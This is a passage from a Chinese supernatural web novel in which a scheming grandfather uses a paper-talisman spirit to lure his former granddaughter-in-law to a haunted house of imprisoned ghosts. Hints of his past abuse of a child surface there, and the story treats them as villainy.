“祖父要教导孙儿,这是一片好心,若让孙儿一直留在母亲身边,自然会多少懈怠了读书进取之心,何况,父亲从来不喜孙儿,从未教导过孙儿,若不是祖父苦心教导,孙儿说不定就成了和父亲一样的浪荡。” “他毕竟是你父亲,你不要如此说了。” “是。”贺文卿深以为然地点头,“祖父教导的是,父亲再有不堪,孙儿为人子的,也不该如此说父亲。” “真是好孩子。”贺老爷子极欣慰地笑了,“你比你父亲要出息得多。” 贺文卿觉得今日的祖父似乎很是温情,且看贺老爷子俨然一副穿戴整齐,要出门的模样,他犹豫着问道:“祖父特意唤孙儿过来,不知要做什么?” “我是想着你与魏姻的事,实在可惜,她毕竟是你祖母生前亲自挑选的孙媳妇,闹到如今一步,让你祖母泉下难安,今日我想去裴老那一趟,亲自见见她父亲,看看能不能说和说和,俗话说,宁拆十座庙,不毁一桩婚。”贺老爷子解释道:“由你陪我去吧。” 贺文卿愣了愣,贺老爷子询问:“怎么了文卿,你不想去么?” 贺文卿忙道:“没有,祖父吩咐,孙儿立即去给祖父备车马。” 贺文卿去让人备车时,贺老爷子叫来门外的贺伯,问道:“都安排好了么?” “已经让人安排好了。”贺伯从袖子里掏出一张小人模样的黄符,那剪的像是个妇人,他低声回道:“原是不用这个的,但据说少夫人身上有一块圣上赐的宝玉,所以,还是要老爷子将这个东西放到她房里去,才好万无一失。” “嗯,下去吧,别让文卿发现了。”贺老爷子最后再嘱咐一句。 贺老爷子与贺文卿来文家老宅的路上,魏姻在陆魂房里,看陆魂在装香囊。 陆魂不知从哪里弄来了些干槐花,比一般新鲜的槐花都香,少年认真地装进香囊里去,魏姻则支着下巴,百无聊赖地看他。 比她还闲的是破军,也飞进来看了一会儿,有时候,那个孩子也会跟着破军过来,不过他不敢进来,只小心扒在门边,往里面看看,好奇地睁大眼睛。 破军见他一直盯着香囊,于是,趁着陆魂装完一个,就趁他不注意,立刻用剑尖挑上,跑去送给那孩子。 完全拿陆魂的东西,当它自己的了。 那孩子捧着香囊,开心地嗅嗅。 破军怕陆魂不高兴,连忙带着那孩子赶紧回去了。 魏姻戳戳陆魂,“你的香囊被破军又偷走给那孩子了。” “没事。”陆魂温柔地笑笑,“破军喜欢那孩子,就让他们去吧,我再重新做一个。” 很快,他又装好一个,朝魏姻招招手,“姐姐过来,给姐姐试试。” 魏姻懒得动,不肯过去,陆魂没了办法,只得自己耐心走到魏姻身边,蹲下去,将香囊系到她的腰间,魏姻捞起香囊琢磨了会儿,说道:“香是挺香的,但这香囊的针脚好丑呀,你上哪买的?” 陆魂脸红了红,扯扯魏姻的袖子,低低解释:“姐姐,是我自己缝的。” 魏姻停顿了一下,“仔细一看,也没有那么丑。” 陆魂想说些什么,纪嘉玉突然匆匆而来,打断了他们的话,喊陆魂,陆魂看纪嘉玉凝重的神色,立刻对魏姻道:“姐姐,我先和纪公子离开一下。” 来到外头,纪嘉玉不敢耽误,径自将事说了出来,“今早我得到线报,说是昨晚,贺老爷子那边的一个高人有了动作,神神秘秘地往一个荒僻些的地方去了,我们的人还想要追过去,但很奇怪,他们似乎陷入了迷宫,怎么也追不到那个人,差点连自己都没有出来,所以等到今早才回来告诉我。” 陆魂皱了皱眉头。 第79章 “之前,那孩子说过他们呆的那个空宅子是有阵法,怎么也逃不出去,而你的人昨晚跟到附近就迷路了,也许,那个高人要去的地方就是那个空宅子,想来是宅子附近有阵法,所以他们进不去。” “当真?” “若能找到那个宅子,应该就知道了。” “好在我们的人虽然进不去,但一直留人在外面守着,据说那个人到现在都还没出来,应该还在里面,既然如此,只要抓到这个人,就有些线索了,我立刻去找人来破阵。” 纪嘉玉说着,风风火火就要走,陆魂叫住他,说道:“太晚了,已经过了一夜,兴许他马上就要出来了,他们能布下这样大的阵法,就不是一般人,你的那些人即使武艺高强怕也拦不住他,这样,我与你直接过去。” 陆魂让丫鬟给魏姻留下话,与纪嘉玉出门一日,便喊来破军一起走,殊不知,他们前脚才离开文家老宅,贺家的车马没多久便出现在门口,由人递了拜帖要见魏父,今日日头还算好,魏父此刻陪裴老在书房外晒书,听到贺家祖孙来了,眉头蹙紧,不知贺家打了什么主意,但碍于礼数,仍很快让人将其请了进来。 不过,贺家祖孙x的来意,倒也不出魏父的意料,是贺老爷子乍然得知孙子孙媳妇和离的事,感到惊讶不解,特意上门来问清楚的,魏父搪塞了一番,贺老爷子似乎被劝解了下来,一副极好说话,不好再管这些儿孙婚事的模样,让魏父放了心,谈完喝完茶后,魏父亲自去送贺老爷子,可贺老爷子却说,他还是想去看看魏姻这个孙媳妇,到底要问问她自个的想法,魏父觉得理所应当,就准备亲自送他去,贺老爷子说不用,让魏父和贺文卿都留下来帮裴老晒书。 贺文卿独自在外头摊开书来晒,魏父陪着裴老在书房里查看书有无被虫鼠给啃坏。 裴老却捧着书,一脸沉思。 “裴老为何一脸沉色?可是今日晒书劳累,身子不适了?”魏父不解询问起来。 裴老摇头,目光望向贺文卿的方向,“我只是觉着有些奇怪罢了。” “奇怪?” “嗯。”裴老目光如炬,道:“这贺家的老爷子,我与他交情不多,只他儿子和孙子来我这拜过师,他平时是不太管这些杂事的,鲜少露面,便是上次亲生儿子死了,都没有亲自操心过一点,这次对贺文卿与魏姻这门事竟亲自出门了,还特意来找魏姻说话。” 魏父顿了顿,“我记得,当年姻儿和贺文卿在京中成亲,他也远在荒州,没有要赶来的意思,往年亲家往来,也极少能见到他。” “我倒是突然想起一些事。”裴老说道:“你可还记得贺文卿的父亲?” “记得。”魏父很快回道:“他与我是一年的进士,我与他倒是还有些话说,是个端正洒脱的人,我们的座师也是同一人,恩师十分看重我二人,当初他要被直接选入翰林的,可不知为何,突然就性情大变,辞了官,再也不入朝廷,后来我便听说他变得风流成性,成日里只知吃酒赌钱,在府中也是宠妾灭妻。” 裴老叹口气,“你们不知道,他辞了官回到荒州后,曾经来找过我,说要陪我喝酒,但却将自己灌得烂醉,一副深受打击,一蹶不振的模样,喝得半醉时,他还拉着我手说,恩师,恩师,学生这一二十年看到的天是假的,是假的,学生曾经信奉的那些东西,全都是假的,全都是假的,满口的仁义道德,到头来,都是荒诞可笑的……” “他这话是什么意思?”魏父疑惑。 “不清楚,这孩子除了这几句话,什么都不肯说。”裴老幽幽道:“虽然我不明白他那时候发生了什么,但似乎是,他心中的一个东西,塌了。” 魏父听不懂裴老的这些话,于是笑了笑,“当日贺家来求娶,我还不曾决定好,不过想着这贺文卿父亲是个还算值得一交的人,便也不说什么了。” “那孩子以前确实是个很正直有礼的,我倒很喜欢他。”裴老深沉道:“可这贺老爷子,倒总让我有点不太舒服。” 魏父心中听得越发不安,忙道:“我去看看姻儿吧。” 魏父匆匆出来,让贺文卿疑虑不已,方想跟上前去,裴老又将他叫住了,他只得罢了。 魏父焦灼不安地来到魏姻房中,正好撞到魏姻与贺老爷子已经说完话出来了,魏姻神色正常,见到魏父突然而来,于是道:“父亲来的正好,送老爷子走吧。” “不必了。”贺老爷子和蔼笑笑,“你们父女说话吧,我自己走走。” 走后,魏父拉着魏姻看了看,问道:“这老爷子与你说什么了?” “阿爹怎的了。”魏姻不解,见魏父神色异常紧张,便笑了笑,“就是问我为何要和贺文卿和离而已,我说了后,他也就什么都没说了。” “那就好。”魏父松口气,“看来是爹和裴老想多了。” “你那个小情夫呢?”魏父看了一遭她身边,问。 “阿爹,不要乱说。”魏姻瞪他,“他心思敏感,听到了会难过多想的。” 魏姻送走魏父,正要转身回房,听到了那个孩子在房内传来了啜泣声,那孩子躺在床上,身上的白色细麻衣早被换掉了,只穿了件寻常孩童的衣物,一般都是破军在看这孩子,但今日陆魂带破军出门了,魏姻迟疑片刻,才走近这个鬼孩子身前。 这孩子将头埋在了被窝里,小身子在里头瑟瑟发抖,平常这个孩子并不吵闹,乖巧跟着破军,今日是怎么了? 孩子胆小,魏姻不敢大声,只小心询问,“怎么了?你哭什么呀?” 孩子瑟瑟发抖的身躯在听到魏姻的声音后,才将被褥往下拉了拉点,看到是常和那个哥哥在一起的姐姐,胆子才大了些,哽咽说道:“我方才……方才睡觉时,似乎又听到了那个坏东西的声音,我害怕……” 魏姻从陆魂那知道了这孩子就是那个被挖出来的姐弟,而他生前似乎被什么人给害过,立时明白过来。 劝道:“没事没事,你是做噩梦了,别怕。” 孩子往四周望了望,房里房里确实没别人,连府中寥寥几个下人,都早已被远远打发避开了这处,他慢慢安下心,点点头。 魏姻给他拿了点吃食过来,让他吃下就继续睡,这孩子对她熟悉了些,大着胆子问她破军呢,魏姻又哄他说破军有事出去了,晚点就回来,孩子这才不舍地睡下。 之后,魏姻就回到了自己房中。 陆魂也不知和纪嘉玉去忙什么了,直到入了夜,都没有赶回来,但魏姻猜测,估计是因为那个孩子的事。 吹了灯,就寝。 这个气候已经见不到一点月亮的影子了,房里各处彻底陷入了黑暗里,任何光亮都没有,只隐约的,看到房里的某个角落里,有一双突然睁开的幽绿眼睛,但只是一瞬间,又没了,重归黑暗,好像方才那一下是恍惚。 又过了许久。 睡着的人渐渐睡熟,匀称了呼吸。 突然之间,角落里的幽绿东西再次猛然发出光亮,这回看清楚了,那确实是一双幽绿的眼睛,再仔细一看,竟然是那张黄符小人上的眼睛。 倏地,小人一挺,径自立了起来。 魏姻脖颈间的宝玉,隐隐发出淡淡红光。 那个小纸人正是一个妇人的模样,有手有脚,它站在地上,绿光幽幽地盯住床榻上的魏姻。 随即,小人动了起来,它轻轻挪动脚尖,来到魏姻的床底下,接着,小人抱住了床脚,哼哧哼哧地往上面爬去,它费了好大的劲儿,终于爬上来,来到了魏姻的胸口,魏姻睡得很睡,完全不曾注意到它,它又踮起脚尖,往上走,紧紧黏在了宝玉上,仔细一看,它身上原来还有一点奇怪的红色黏液,那个黏液沾到了宝玉上,宝玉的红光瞬间被熄灭,黯淡无光了。 它又爬下宝玉,径自钻进她的背后,紧紧粘在背上。 在这个纸人消停下来后,魏姻额角渐渐冒起冷汗,面容惊惧,半晌后,她忽然从梦中惊醒过来,“娘!” 拥着被褥,呆滞地凝视漆黑四周。 下一刻,魏姻听到了门外响起几道妇人的轻柔喊声。 “姻儿,姻儿。” 魏姻怔怔抬头,盯着门外。 妇人的声音又传来了,“姻儿,是娘,来,来给娘开门。” 似有着蛊惑人心的魔力一般。 魏姻听了这妇人的话,没有任何迟疑,神情恍惚地扔掉被褥,穿鞋下床。 房门吱嘎吱嘎地被魏姻推开了,但门外却是一片空寂无人,唯有庭院里的青松被风刮得晃动,其他的一点动静都没有。 魏姻怔怔望着门口时,声音又从院外传来。 “姻儿,来,给娘再开开门。” 魏姻二话不说,就循着声音的方向走过去。 这个时候,那个鬼孩子听到了这边的动静,小心从房里探出脑袋来看,看到魏姻呆呆地站在门口,然后就莫名其妙地要往外面走去,他连忙喊住她,“姐姐,你不睡么?” 魏姻回过头去,“你听到我娘在院外么?她说,要我去给她开门,不跟你说了,我要去给娘开门。” 鬼孩子皱眉:“可是姐姐,根本就没人在喊门呀,你是不是听错了?” “我没有听错,娘就是在喊我。”魏姻突然变得很生气,瞪住鬼孩子。 第80章 魏姻的眼神忽然变得凶狠摄人,又带着点诡异,即使是鬼孩子,亦被她这眼神吓住了,魏姻转过头去,继续往院门x外走,鬼孩子一时不敢拦她,只呆呆盯着看。 直到魏姻走到门边了,鬼孩子反应过来,急忙来阻拦她,“姐姐,外面没人,你不要出去,等那个哥哥回来再说吧。” 魏姻像是完全听不见他的话似的,双手搭在门上,轻轻一推,门就开了,鬼孩子喊她,然而,他忽然间瞥见在门外远远站立着一个妇人。 那妇人是个贵妇打扮,面容白皙美丽,眉眼间又带着点烈性,仔细看,竟与魏姻长得有点像。 只是妇人的脸色和身上都是惨白的,一点不像是活人,而一双眸子,更是隐隐透着点幽绿光芒,妇人似乎很不高兴鬼孩子的阻拦,眼神阴鸷地朝鬼孩子盯了下。 鬼孩子脸色煞白,不敢再阻拦。 妇人对魏姻伸出了手,她的神色又变得柔情婉转,“姻儿,跟娘来。” 魏姻于是随着妇人而去,妇人远远地走在前面,她的身影时而清晰,又时而透明,她们一前一后,一人一鬼,要去的是宅子外面,路上,在府中各处巡视的几个随从看到了她们,惊了一惊,可还没发出任何声音,只见妇人就抬起幽绿双眼注视了他们一眼,他们瞬间噤声,垂下头,让开了道路,垂手站在道路两旁,任由妇人带着魏姻离开。 一时,整个宅子里的人,除了那鬼孩子,还不知道魏姻被带走了。 空荒的宅子里,一股淡淡的腐朽气味充斥在空气中,墙体上不知生了多厚的积藓,变成黑黑的颜色,几乎快分辨不出来一点儿绿了,在风刮不到的一处回廊下,躺着一个昏沉过去的女人,眉间的朱痣一下知道了这就是魏姻无疑。 很快,魏姻苏醒了过来,这次,她没有再和之前那样神志恍惚,她睁开眼后,一下被眼前的场景震惊到了。 接着,她看到,在很近的右手廊下,正坐着一个眉目低垂起来的妇人,妇人似察觉到她醒了过来,慢慢地将脸抬了起来,魏姻立刻认出眼前的妇人是谁。 “娘?” 面对母亲,她没有丝毫迟疑,伸出了手去碰对方。 但她的手刚触碰到这妇人的衣角,妇人整个人就变得忽明忽暗了,然后迅速地消失不见,最后只剩下一张黄色小纸人飘落在魏姻手心处。 魏姻失声惊呼,“娘!你去哪里!” “不用喊了。” 另外一个妇人的声音从魏姻身后传来,在门角处,不知何时倚立着一个仅仅只有二十出头的妇人,少妇人隆起的大肚子格外明显,应该是快足月要生产了的,她穿着一件和那鬼孩子几乎一模一样的宽大白色细麻衣,因天色昏暗不堪,看不清面容到底如何。 这个妇人扶着自己的大肚子,走到魏姻面前拿过小纸人,说道:“不用喊了,那是这个纸人变化出来的,根本不是你娘。” 魏姻揉着脑袋,想了想,隐约记起自己似乎被刚才变成她母亲的妇人给引到这里,她重新打量空宅子一眼,这才感到背后一阵发凉。 “这,是哪儿?” “是一个见不得人的地方。”身怀六甲的妇人冷冷说道。 魏姻皱眉,这回离得很近了,她一下子看清楚了这个少妇人苍白到吓人的脸色,魏姻自己也被吓得往后退,但这个少妇人似乎没有恶意,怀着身孕,却还矫健地将她拉住了,“你没事吧?也是被那个老东西弄到这里来的么?” 少妇人握住她手的时候,魏姻感到和陆魂一样的冷意,她有点紧张地望向对方。 少妇人也许是看出了她的害怕,于是放柔了些语气,拉住她往里走,“来屋里吧,屋里暖和一些。” 魏姻就这么被拉了进去,进到了一间小屋,小屋很陈旧,但比外面暖和许多,让魏姻更感到惊讶的是,屋里头不仅有这个少妇人,还有几个男男女女蹲缩在角落里,夜里黑暗,看不太清他们,只依稀看出是男是女来,而且他们这些人身上,好像都穿着跟这个少妇人一样的白色细麻衣。 少妇人径自将魏姻拉到了一处铺着毡毯的墙角处坐下。 魏姻小心地坐在她的身边,魏姻终于忍不住开口了,望向她的肚子,“你的肚子这样动来动去,都没事么?” 少妇人一副漫不经心地模样回道:“没事,都怀了不知道多少年了。” 魏姻听了差点弹起来,她虽然早感觉到不对劲了,可还是被少妇人这句随意的话给惊住了,但好在她见识了不少诡异之事,勉强能够镇定下来,“不知道……多少年么……” “是呀,不见天日,我也不知道有多少年了。” 少妇人怜悯地看她一眼,“实话跟你说了吧,我不是人,是鬼,你兴许以后也会被那老东西害得变成和我一样……” 魏姻打量她的衣着一眼,“你该不会就是那个孩子口中说的怀着身孕的姐姐吧?” 少妇人原本一直情绪淡淡的,此刻忽然变得亢奋起来,抓住魏姻的手,“你说什么?你说的难道是当年逃出去的那对姐弟么?你是不是认识他们?” 缩在边上的几个男女纷纷被惊动,从墙角处探过头来。 魏姻明白了,她居然来到了那个孩子口中说的空宅子,又遇上了他说的那些同样被残害的受害人,她感到脊背发凉。 那她怎么会到这里来? 究竟是谁? 难道是他们口中的那个“老东西”做的么? “夫人,你告诉我。”少妇人竟然泪流满面,“你告诉我们,那两个孩子怎么样了?他们为什么这么多年都没有找人来救我们……” 边上其他男男女女都垂泪点头。 魏姻叹口气,“那个孩子,在逃出去后,就被人给杀害了。” 少妇人面容一滞,“我还以为,他们姐弟把我们忘了,根本不管我们了,可就是不敢想,他们已经死了,老东西!老东西!老东西!” 说着说着,少妇人嘴里发出了类似野兽般的吼声,仿佛在吞吃铜铁时所发出的,双眼怨毒地盯着前方。 一屋子的男男女女同样怨毒地又哭又呜咽怪叫起来。 这样一幅群鬼鬼哭狼嚎的画面,简直令人无法想象,魏姻坐在旁边,更是大气不敢出,生怕他们一翻脸,就将她给撕碎了。 少妇人先冷静了下来,劝大家别嚎了,赶紧问魏姻具体的情况,当一一得知后,少妇人再次流出了眼泪。 “没有想到,那两个可怜孩子会这样惨,若不是小弟机缘巧合之下成了鬼,我们这桩事,恐怕世上没有一个人会知道了。” 魏姻说道:“那孩子不知道自己死了,也还不知道他的阿姐已不在了,但他记得你们,让我们来救你们。” 少妇人苦笑着摇摇头。 “我出阁前,因为父亲对这些奇事颇有研究,我才知道关我们的这个宅子里有阵法将我们困得无法逃生,我曾经和大家试过许多法子,但施法之人道行太高,所以毫无办法,最后,我看到有一个小姑娘刚巧在一个阵眼上自我了断,鲜血染到阵眼上,让阵法有过些许的波动,我才想起以前偶尔听父亲说过一些强行冲开阵眼的邪法,就是要用大量满怀怨气的鲜血祭阵,兴许就能够强行冲开。我们这些人,谁不是都怨毒了,我们就选定了那两个年纪最小的姐弟,我们想要让他们能够逃生,即使不能为我们报仇,也好过这样小的年纪就要受尽折辱,于是我带头,用碎杯子割开了手,好在,我的这个法子竟然真的有用,成功将他们送了出去。” 少妇人说完,露出温柔的笑容,“说起来,那小姑娘知道我们要做什么,她还望着我们直哭呢,小弟却什么都不懂,他给我擦着眼泪,认真地告诉我,他和姐姐一定会回来救我们的,却不知道,我们根本就活不了了……” 四下,传来了悲伤的哭泣声,有几个男男女女走到了少妇人的身边,少妇人安慰似地抱住他们。 原来这些都是年轻的少年少女,甚至还有年纪更小一些的。 有的说不了话,只嘶哑难听地呜呜叫,有的走不了路,是用膝盖一点点爬过来的,有的傻乎乎地坐在一边笑呵呵看着同伴,给同伴擦眼泪。 少妇人哀伤地抚摸住自己的肚子,“我丈夫去x的太早,只剩下这么一个遗腹子,我原想着,即使……被那老东西百般折辱,也要保住这个孩子,可后来我知道,我是出不去了,我是保不住这个孩子了……” 魏姻之前虽从陆魂那知道了一点这些事,此刻见到这些人的模样,手脚不禁气得发抖,竟然有这样丧心病狂的人。 简直是畜生不如。 魏姻问:“对了,我听说,成鬼是要机缘的,为何你们这么多人都能……” 少妇人摇头道:“这个我也不清楚到底是怎么回事,一醒来就发现我们竟然都成了鬼,不过后来我大概研究了一下,发现似乎是这个宅子有些怪异,有大量的灵气从地里冒出来,我们借着这个灵气才能成鬼,但同时这个阵法似乎也依靠着这里的灵气所成,当年我们用性命破阵后,那个老东西立刻就派人来修复了阵法,而我们即使这些年拼命修炼,也始终无法破阵出去。” 话音刚落。 其中一个鬼突然发出一声惨叫。《 》 80-90 第81章 那是肉被活活放在火上炙烤时一样的惨叫,声音来自少妇人最后面的一个鬼,是一个面目秀气的少年,他浑身在剧烈抽动,伴随着痛苦的叫唤声,继而,其他的鬼也在一个接着一个不断惨叫起来。 少妇人怪叫起来,“不好了,那个老东西来了,他让人开阵拘我们。” 少妇人是最后一个发出惨叫的,在她刚叫出声后,法阵就彻底开启了,将她和其余群鬼尽数给拘收起来。 这些鬼常年吸收此地灵气,鬼力都不低,看着这么多鬼眨眼间从眼前消失不见,魏姻背脊僵冷。 整个空宅子里完全只剩下了魏姻一人,别的一点声音都不见,甚至连虫兽的叫声也听不见一点,陷入了死地一般。 些许时辰后,魏姻听到宅子外面似乎有车马声响起,可有些远,她不太确定,直到车马声来到了大门外,隐隐约约有什么人下车走了进来,一路不停,直往她这间旧屋子走来。 刚开始,应该是至少有两三个人的,快到这间屋子时,脚步就剩下一个人了,而且听起来略微孱弱迟缓些,还拄着拐,大概就是少妇人口中的老东西了。 一股浑身凉透的恐惧攫住魏姻。 来人走进了这个屋子,他站在门口,手里还提着一盏灯,因为灯笼光弱,看不太清他的脸,身上的儒雅深朴素却讲究。 来人也在打量着毡毯上的魏姻,偶尔微微颔首,看魏姻迷惘地望住他,来人这才,不紧不慢地开了口,声音几乎让魏姻以为自己听错了。 “孙媳妇,不认得祖父了么?” 来人将提灯往脸上举了举。 魏姻瞪住眼睛,一脸惊讶。 “别怕,祖父不会对你怎样。”贺老爷子微笑着,一步步朝魏姻走上前去,“祖父不过是,想要你为我们贺家做一桩事罢了。” 贺老爷子此时虽然是带着笑的,但在这空无一人的鬼宅子里,他的脸被灯光照得忽明忽暗,让人只觉得阴森骇人。 那少妇人说,害他们的人是一个老东西,而贺老爷子深夜来此,绝不可能只是夜里睡不着闲逛,他,就是那个,老畜生。 魏姻一时惊呆,万万想不到,她曾经嫁到了这样的人家。 “你这孩子,怎么不信呢?”贺老爷子摇头叹息,笑容褪去,眼神骤然狠辣起来,“看来是那些孤魂野鬼把什么都跟你说了吧?该死,老夫应该将他们一直关起来。” 魏姻满眼陌生地瞅着他,抓紧了身下毡毯,看不出来贺老爷子究竟打了什么主意。 “孩子,听祖父的话,不要相信那些孤魂野鬼的话,他们都是在蛊惑你呢,祖父还等着你和文卿给我生个孙子呢。”贺老爷子很快又换了一副和蔼脸色。 魏姻冷冷地道:“老爷子,我与贺文卿已经和离了。” “和离?那不过是你们年轻人不懂事,胡说罢了。” “你……” “等过些日子,你有了贺家血脉,就知道轻重了。” “够了,老东西,你不要再装模作样了,你将那些人害成那样,又到底想对我做什么?” 贺老爷子很不高兴魏姻这样跟他说话的样子,于是冷声笑道:“行了,既然你这孩子什么都知道了,以后也是我贺家的人,那我也不与你废话了,将事情都跟你说了吧,你可知道,我这宅子背后是什么?” “什么?” “是我贺家的祖坟。”贺老爷子幽幽说道:“当年我家先人是个功名无望,穷迫潦倒的清贫书生,幸亏他懂得堪舆之术,竟然因缘巧合之下,发现了现在我们脚下的这块宝地,宝地灵气盈沛,不出几年的时间,书生不但一举高中,且还深得座师的抬举,最后娶了座师的一个侄女,从此仕途大好,而自那之后,我们贺家虽比不上那些权倾一世的勋贵人家,但也是个代代才俊辈出的门第,但后来,发现此地虽然极旺,可却人丁单薄,往往只有一脉单传,到了我这一辈时,我发现,难有子嗣,就连文卿他父亲,也是我好不容易才得来的,到了文卿父亲,他更是直接无法生育了。” 魏姻察觉到不对,“那贺文卿他怎么……” 贺老爷子笑吟吟道:“你说呢?” 他虽然没有将话明说出来,但魏姻猛地醒悟过来,“贺文卿,该不会是……你……” 贺老爷子摇摇头,“孙媳妇,我当初将所有希望寄托在文卿身上,可谁知道,文卿也和他父亲一样,我不甘心,又让他娶了宣华试试,看来,哎。” 魏姻皱了皱眉头。 贺老爷子继续道:“孙媳妇,你以为当初是文卿他祖母看中了你?不是,是我早在给文卿娶妻之前就一直暗中查过,发现你的命格是最适合作为我贺家诞育子嗣的人,是我看中了你,于是不出我所料,文卿对你也还算满意,一眼就选了你,而我这个阵法,用宅子里人鬼的怨气饲养多年,到如今,总算是大功告成,可以用了。” 魏姻越听越觉得邪门,慢慢往后退了退,她皱眉看向他:“你到底要将我怎样?” “孙媳妇,你不用怕,你是我好不容易挑选多年的人,自然不会对你怎样。”贺老爷子心情变得很好,笑道:“你知道此阵叫什么?子孙阵!届时,我会挑选一个最适合的日子,大开法阵,让你与文卿在此处同房,而这宅子里我精挑细选出来的孤魂野鬼,都将会成为祭阵之物,到时,文卿自然就能生育了,甚至我贺家后辈皆能人丁兴旺,香火不断,孙媳妇,你在此之前,就先好好等着吧。” 魏姻煞白了脸,“老畜生,你丧尽天良,生前残害他们,死后还要用他们祭阵!” “闭嘴!” 贺老爷子被激怒了,“你若是不愿按我说的做,那我也不介意另挑别的孙媳妇,而你,则会跟那些孤魂野鬼一样下场!” 说完,贺老爷子立刻变脸如翻书,又转怒为笑了,“孙媳妇,你最好还是乖乖照我说的做,不要不知好歹,可明白?” “老太爷。”有一个人走了过来,回道:“外面有人想闯进来,来势汹汹,请老太爷过去看看。” 贺老爷子点头,吩咐道:“让人将好屋子收拾收拾,让少夫人先住着。” 直到贺老爷子离开了,魏姻整个人才逐渐松懈下来,她被今晚发生的这一切弄得猝不及防,后怕不已。 那老东西走后不久,被阵法拘起来的那些群鬼顿时被放了出来,魏姻很快察觉到,这些鬼变得和之前不太一样了,一个个用充满怨毒的眼神死死盯着她,身怀六甲的少妇人也是如此,一改之前的柔和,和其他群鬼一样,想直接冲上来将她给活活生吞活剥了。 “你居然是贺家的人?!是那个老东西家的人?” “杀了她!杀了她!” “不,不能让她死的这么容易,我们要一口一口咬下她的肉!咬下他们贺家人的心肝肠肺!” 魏姻看着奋起激昂的这些群鬼,差点跌下去。 那个被贺老爷子留下来给魏姻收拾屋子的人,则狠狠瞪住群鬼,“你们敢伤害少夫人,立刻让你们灰飞烟灭!” 群鬼对贺家人早已恨毒了,竟然一时并不理会那个人的话,就要朝魏姻扑过来,那个人连忙喊人用阵法将他们给重新拘起来,带魏姻匆匆离开此处。 那个人对魏姻哼道:“这些孤魂野鬼好大的胆子,竟敢造反,少夫人,我们快去告诉老太爷。” 魏姻冷笑着。 她跟着这个人来到了接近大门的地方,见贺老爷子正x站在一堆身穿法衣的人身后往外看,门外,正是陆魂与纪嘉玉等人,二人带着许多人站在外头。 贺老爷子自然也认出了纪嘉玉,说道:“纪家小子,你这是什么意思?为何要带人闯我的私宅呢?谁准许你的?” 纪嘉玉并不怯,反而笑吟吟的,“老大人,晚辈上次查的案子,正巧发现这案子有线索指向老大人这座私宅,还请老大人让我们进去。” “胡说八道,我的私宅被你说成了什么地方!你说让你进去就进去?”贺老爷子冷嗤道:“你可有衙门的准许?若是没有,你休想进去胡闹,纪家小子,快快回去吧,若再胡闹,休怪老夫修书一封告诉你的父亲!” 纪嘉玉面色果然犯难了,望向陆魂,陆魂便对他低声耳语了几句,跟着,将手中的剑递给他。 贺老爷子皱眉盯着纪嘉玉身边少年,觉得似曾相识。 只见,纪嘉玉将手中剑单臂往天上用力一举,正色道:“圣上的宝剑破军在此,圣上当年早说过,若见此剑,如见他亲临,谁敢拦我?!谁敢阻我?!” 贺老爷子嗖地望过去,不敢置信。 纪嘉玉则冷冷笑道:“老大人,你身为朝老,该是认得圣上的宝剑吧?难道,圣上临此,还要人准许么?老大人,让开吧。” 贺老爷子犹豫了下,让人将剑拿来查验,他一入手,就明白这确实是破军无疑了,他吩咐道:“带少夫人下去藏好,开阵法将那些鬼拘收起,再放他们进来。” 他轻蔑笑道:“纪家这小子,难不成还能把那些鬼给查出来。” 不知道陆魂发现她被带到这里来了么,魏姻想了想,在被人带走后,偷偷抓起一把香囊里的干槐花,往地上洒。 那边,大门被打开了,贺老爷子将纪嘉玉陆魂等人放了进来,而这老东西也不怕被查到什么,随他们搜寻。 第82章 门开了,这是一座同样好不哪里去的陈旧屋子,魏姻被带到了里间,纪嘉玉与陆魂带着人去了别的地方查看,贺老爷子则陪着他们看了一会儿便来到了这里,站在外间,他底下的一个人说道:“老太爷,这些人不知好歹,竟敢查到你的头上来了,可要将他们给……” 贺老爷子抬手,“不行,纪家小子若出了事,京城那边定然引起风波,纪御史绝不会善罢甘休,让他们查就是,这么多年了,我还能留一点痕迹给他们?谅他们也查不出来什么!” 底下人不再问了,邪笑着退开。 当陆魂的身影跟着纪嘉玉从庭院走过贺老爷子眼前时,方才还气定神闲的贺老爷子微微拧了眉,“跟着纪家小子后面的那个少年……” “他怎的了?可是有哪里不对劲?”底下人问。 “那倒不是。” 贺老爷子摇头,说道:“我似乎见过他……哦,我想起来了,十多年前,文卿他母亲带这孩子来过贺家,当时我贺家还在京中,我记得这孩子姓陆来着,年幼时长得秀美,我便将他叫到我的房中仔细看过……可真是乖巧,只那一点迷香,就将他给迷过去了……恐怕他至今,也不知道究竟是怎么回事吧。” “这少年看着年纪极轻,十多年前怕也没几岁,记不得什么事。” “是呀,老太爷还省得多费事处理。” 这些话,一字不落地全进入到了魏姻的耳里,他们虽在外间说的,但让魏姻听得清清楚楚,她刚开始还没反应过来什么不对,只以为贺夫人将陆魂带到了贺家,贺老爷子见过他而已,可越听到后面,她就越发心惊起来。 她手脚发凉地往前走了几步,攀在门上,正好可以看见贺老爷子脸上荒淫的笑,脑子这才轰隆被雷一劈醒。 她眼前,忽然浮现出那个鬼孩子出现之后,陆魂总是脸色极力苍白脆弱的模样,原来,竟然是这么一回事。 她又想起,前两日陆魂满眼阴郁悲伤地跟她说,他好难受,难受到浑身好疼。 还问她,记不得记得小时候给他吃过面,说她怕他冷,还将一件白狐毛的斗篷给他穿。 这一刻,种种模糊的记忆逐渐变得清晰,魏姻终于记起来了。 她记起那天晚上了,那是母亲刚去世没多久的时候,她正难过,一天晚上,电闪雷鸣下着大雨的晚上,她碰巧在魏家发现了躲在房檐角下的陆魂,那个时候的陆魂,不过三四岁的年纪,她看他冷,就把身上的白狐毛斗篷给了他,他年纪太小了,她的斗篷穿在身上,还有些拖在地上,陆魂怕将衣服弄脏,小心用手捧着,魏姻后来又带他去吃了面,之后,陆魂便独自离开了魏家,她不知道他那夜去了哪里,直到第二日在路上碰到几乎变成傻子一样的他,她将他带回了家去,他病得很严重,还浑身发抖不让人碰,魏姻哄了会儿,才哄着他愿意让她给他喂药。 魏姻在他身上发现了一些青青紫紫的痕迹,那个时候指印已经消了,她还以为他是在哪里磕着摔着了,就没有多想。 但她记得,陆魂抱住她喊姐姐,哭得很难受,很无助,魏姻从来没有见到过,一个年幼的孩子能哭得这样撕心裂肺。 才知道,陆魂那晚是去了他母亲那儿,却不知到底受了什么委屈,魏姻想问,但陆魂却死咬住小嘴,巴巴地望着她哭,一个字不肯说出来。 之后陆魂在魏家休养了几日,这才慢慢恢复了过来。 这些事她早模糊没什么印象了,可此刻全部回想起来,她什么都明白了。 